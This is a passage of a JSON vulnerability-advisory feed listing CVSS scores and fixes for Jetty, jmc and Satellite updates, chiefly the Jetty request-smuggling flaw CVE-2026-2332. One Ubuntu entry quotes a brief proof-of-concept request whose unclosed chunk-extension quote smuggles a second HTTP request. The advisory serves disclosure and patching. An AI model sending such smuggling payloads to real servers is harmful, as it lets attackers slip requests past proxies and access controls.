Central.","status":"published","published":"2026-10-13T18:33:18Z","modified":"2026-10-27T04:00:12.85117881Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-02T15:52:58.636919Z"},{"id":"RHSA-2026:20568","title":"Red Hat Security Advisory: jmc security update","status":"published","published":"2026-05-26T10:07:32Z","modified":"2026-10-20T10:05:54Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:18.983284Z"},{"id":"RHSA-2026:50221","title":"Red Hat Security Advisory: Satellite 6.19.3 Async Update","status":"published","published":"2026-08-05T10:37:32Z","modified":"2026-10-20T10:10:20Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50222","title":"Red Hat Security Advisory: Satellite 6.17.10 Async Update","status":"published","published":"2026-08-05T10:37:33Z","modified":"2026-10-20T10:10:21Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50223","title":"Red Hat Security Advisory: Satellite 6.16.12 Async Update","status":"published","published":"2026-08-05T10:37:33Z","modified":"2026-10-20T10:10:22Z","cvss":[{"version":"3.1","score":8.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50263","title":"Red Hat Security Advisory: Satellite 6.18.8 Async Update","status":"published","published":"2026-08-05T10:37:34Z","modified":"2026-10-20T10:10:22Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RLSA-2026:20568","title":"Important: jmc security update","description":"JDK Mission Control is a powerful profiler for HotSpot JVMs and has an advanced set of tools that enables efficient and detailed analysis of the extensive data collected by JDK Flight Recorder. The tool chain enables developers and administrators to collect and analyze data from Java applications running locally or deployed in production environments.\n\nSecurity Fix(es):\n\n* lz4-java: lz4-java: Information Disclosure via Insufficient Output Buffer Clearing (CVE-2025-66566)\n\n* org.eclipse.jetty/jetty-http: HTTP request smuggling via chunked extension quoted-string parsing (CVE-2026-2332)\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.","status":"published","published":"2026-05-30T18:03:09.201211Z","modified":"2026-05-30T18:25:43.773024612Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:25.804165Z"},{"id":"ROOT-APP-MAVEN-CVE-2026-2332","title":"CVE-2026-2332 in org.eclipse.jetty:jetty-http - Patched by Root","description":"Root has patched CVE-2026-2332 in the org.eclipse.jetty:jetty-http package for Root:Maven. Multiple fixed versions available.","status":"published","published":"2026-11-03T08:19:22Z","modified":"2026-11-03T09:15:05.12050108Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"}],"updated_at":"2026-11-03T09:26:33.868904Z"},{"id":"UBUNTU-CVE-2026-2332","description":"In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the \"funky chunks\" techniques outlined here:   *  https://w4ke.info/2025/06/18/funky-chunks.html   *  https://w4ke.info/2025/10/29/funky-chunks-2.html Jetty terminates chunk extension parsing at \\r\\n inside quoted strings instead of treating this as an error. POST / HTTP/1.1 Host: localhost Transfer-Encoding: chunked 1;ext=\"val X 0 GET /smuggled HTTP/1.1 ... Note how the chunk extension does not close the double quotes, and it is able to inject a smuggled request.","status":"published","published":"2026-04-14T12:16:00Z","modified":"2026-10-17T12:58:47.587308608Z","cvss":[{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"},{"version":"3.1","score":7.4,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"high"},{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-02T16:56:04.456047Z"},{"id":"ALSA-2026:20568","title":"Important: jmc security update","description":"JDK Mission Control is a powerful profiler for HotSpot JVMs and has an advanced set of tools that enables efficient and detailed analysis of the extensive data collected by JDK Flight Recorder. The tool chain enables developers and administrators to collect and analyze data from Java applications running locally or deployed in production environments.  \n\nSecurity Fix(es):  \n\n  * lz4-java: lz4-java: Information Disclosure via Insufficient Output Buffer Clearing (CVE-2025-66566)\n  * org.eclipse.jetty/jetty-[http:](http:) HTTP request smuggling via chunked extension quoted-string parsing (CVE-2026-2332)\n\n\nFor more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.\n","status":"published","published":"2026-05-26T00:00:00Z","modified":"2026-10-29T11:32:32.165287005Z","updated_at":"2026-11-02T15:27:53.875139Z"},{"id":"CLSA-2026-1773879458","title":"TuxCare security update for 2 packages (2 CVEs)","description":"TuxCare rebuilt 2 packages to address 2 CVEs. Fixed in 9.4.60.tuxcare0001.","status":"published","published":"2026-08-04T14:52:13Z","modified":"2026-10-30T19:45:02.838481183Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1773879461","title":"TuxCare security update for org.eclipse.jetty:jetty-http (1 CVE)","description":"TuxCare rebuilt org.eclipse.jetty:jetty-http to address 1 CVE. Fixed in 10.0.28.tuxcare0001.","status":"published","published":"2026-08-04T14:52:13Z","modified":"2026-11-02T19:45:16.888469915Z","updated_at":"2026-11-02T20:30:40.499236Z"},{"id":"CLSA-2026-1773879503","title":"TuxCare security update for org.eclipse.jetty:jetty-http (1 CVE)","description":"TuxCare rebuilt org.eclipse.jetty:jetty-http to address 1 CVE. Fixed in 11.0.28.tuxcare0001.","status":"published","published":"2026-08-04T14:52:13Z","modified":"2026-11-02T19:45:18.272205416Z","updated_at":"2026-11-02T20:30:40.499236Z"},{"id":"CLSA-2026-1780361400","title":"TuxCare security update for org.eclipse.jetty:jetty-http (1 CVE)","description":"TuxCare rebuilt org.eclipse.jetty:jetty-http to address 1 CVE. Fixed in 11.0.27.tuxcare0003.","status":"published","published":"2026-08-04T14:52:34Z","modified":"2026-11-02T19:45:29.779981007Z","updated_at":"2026-11-02T20:30:18.404297Z"},{"id":"CLSA-2026-1793132217","title":"TuxCare security update for 9 packages (5 CVEs)","description":"TuxCare rebuilt 9 packages to address 5 CVEs. Fixed in 12.0.22-tuxcare.1.","status":"published","published":"2026-10-27T20:16:57Z","modified":"2026-11-02T19:46:32.652202463Z","updated_at":"2026-11-02T20:28:42.34712Z"},{"id":"openSUSE-SU-2026:10574-1","title":"jetty-annotations-9.4.58-4.1 on GA media","description":"These are all security issues fixed in the jetty-annotations-9.4.58-4.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-04-18T00:00:00Z","modified":"2026-04-19T10:30:28.426972Z","updated_at":"2026-11-02T16:58:38.415593Z"},{"id":"SUSE-SU-2026:1751-1","title":"Security update for jetty-minimal","description":"This update for jetty-minimal fixes the following issues:\n\n- CVE-2026-2332: In Eclipse Jetty, the HTTP/1.1 parser is vulnerable to request smuggling when chunk extensions are used, similar to the 'funky chunks' techniques (bsc#1262115).\n- CVE-2026-5795: Fixed JaspiAuthenticator broken access control (bsc#1261997).\n","status":"published","published":"2026-05-07T11:53:44Z","modified":"2026-05-08T08:15:57.046501Z","updated_at":"2026-11-02T15:54:01.610851Z"}]}}